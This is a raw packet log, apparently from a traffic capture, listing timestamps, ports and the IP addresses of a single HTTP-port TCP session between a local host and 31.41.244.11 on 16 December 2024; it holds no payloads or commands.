Dec 16, 2024 21:02:53.651670933 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.651716948 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.652641058 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.652689934 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.653026104 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.653072119 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.653738976 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.653784990 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.653922081 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.653964996 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.654815912 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.654959917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.655009031 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.655936956 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.656024933 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.656100988 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.657052994 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.657111883 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.657119036 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.657151937 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.658214092 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.658328056 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.658348083 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.658381939 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.659203053 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.659413099 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.659435987 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.659451962 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.660252094 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.660294056 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.660381079 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.660422087 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.661401987 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.661453009 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.661509037 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.661586046 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.662481070 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.662527084 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.662606001 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.662720919 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.663621902 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.663671017 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.663717031 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.663768053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.664720058 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.664836884 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.664881945 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.665823936 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.665879965 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.665891886 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.665941000 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.666874886 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.666999102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.667052031 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.668030024 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.668085098 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.668119907 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.668168068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.669056892 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.669107914 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.669168949 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.669219017 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.670203924 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.670263052 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.670315027 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.670367002 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.671325922 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.671406984 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.671427965 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.671478987 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.672384024 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.672444105 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.672492981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.672563076 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.673476934 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.673528910 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.673548937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.673600912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.674545050 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.674597979 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.674644947 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.674710035 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.675705910 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.675786972 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.675820112 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.675852060 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.676769018 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.676826954 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.676898003 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.677020073 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.677911043 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.677989006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.678011894 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.678044081 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.678919077 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.678972960 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.679023027 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.679073095 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.680084944 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.680159092 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.680239916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.680311918 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.681149006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.681200981 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.681293011 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.681339025 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.682260036 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.682308912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.682337999 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.682388067 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.683348894 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.683407068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.683450937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.683502913 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.684448957 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.684501886 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.684576988 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.684631109 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.685797930 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.685813904 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.685848951 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.685880899 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.686702967 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.686758041 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.686793089 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.686842918 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.687880993 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.687927008 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.687952995 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.687985897 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.689192057 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.689244986 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.689265013 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.689313889 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.800179005 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.800266027 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.800342083 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.800401926 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.800801992 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.800856113 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.800900936 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.800952911 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.801889896 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.801980972 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.802027941 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.802922964 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.802979946 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.827650070 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.827828884 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.828021049 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.828104019 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.828150988 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.828291893 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.828336954 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.829288960 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.829334974 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.829472065 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.829516888 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.830363035 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.830421925 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.830476046 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.830518961 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.831458092 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.831518888 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.831573963 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.831717968 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.832609892 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.832658052 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.832669973 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.832715988 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.833645105 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.833697081 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.833719969 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.833769083 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.834724903 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.834784985 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.834840059 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.835028887 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.835804939 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.835861921 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.835937977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.836395979 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.836926937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.836976051 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.837044954 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.837091923 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.838084936 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.838140011 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.838205099 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.839175940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.839222908 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.839308023 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.839358091 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.840259075 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.840401888 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.840451956 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.841321945 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.841419935 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.841435909 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.841480017 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.842472076 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.842550039 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.842611074 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.842803001 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.843604088 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.843669891 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.843687057 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.843733072 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.844664097 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.844722033 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.844791889 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.844836950 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.845716953 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.845791101 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.845834017 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.846002102 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.846782923 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.846837044 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.846887112 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.846936941 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.847937107 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.847992897 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.848186016 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.848328114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.849090099 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.849203110 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.849246979 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.850119114 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.850238085 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.850285053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.851650953 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.851741076 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.851792097 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.852283001 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.852338076 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.852354050 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.852402925 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.853384018 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.853435993 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.853513002 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.853562117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.854485035 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.854536057 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.854583025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.854629040 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.855564117 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.855683088 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.855691910 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.855741024 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.856642962 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.856700897 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.856753111 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.857316017 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.857783079 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.857836962 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.857870102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.857916117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.858942032 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.859005928 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.859056950 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.859105110 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.860002995 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.860080957 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.860114098 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.860147953 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.861222982 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.861334085 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.861345053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.861373901 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.862212896 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.862267017 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.862287045 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.862734079 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.863270998 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.863334894 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.863379002 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.863723993 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.864352942 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.864398003 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.864404917 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.864439964 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.865468025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.865526915 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.865562916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.865611076 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.866600990 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.866683006 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.866719007 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.866761923 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.867666006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.867723942 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.867769003 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.867950916 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.868801117 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.868849039 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.868863106 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.868895054 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.869936943 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.869995117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.870047092 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.870702028 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.870974064 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.871026993 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.871170998 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.871252060 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.872030973 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.872098923 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.872128963 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.872160912 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.873156071 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.873208046 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.873225927 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.873275042 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.874279976 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.874365091 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.874370098 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.874412060 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.875354052 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.875482082 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.875533104 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.876447916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.876498938 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.876580954 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.876631021 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.877568007 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.877619028 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.877800941 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.877855062 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.878653049 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.878792048 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.878851891 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.879781008 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.879831076 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.879854918 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.879903078 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.880821943 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.880872965 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.881015062 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.881058931 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.992419958 CET	80	49864	31.41.244.11	192.168.2.4
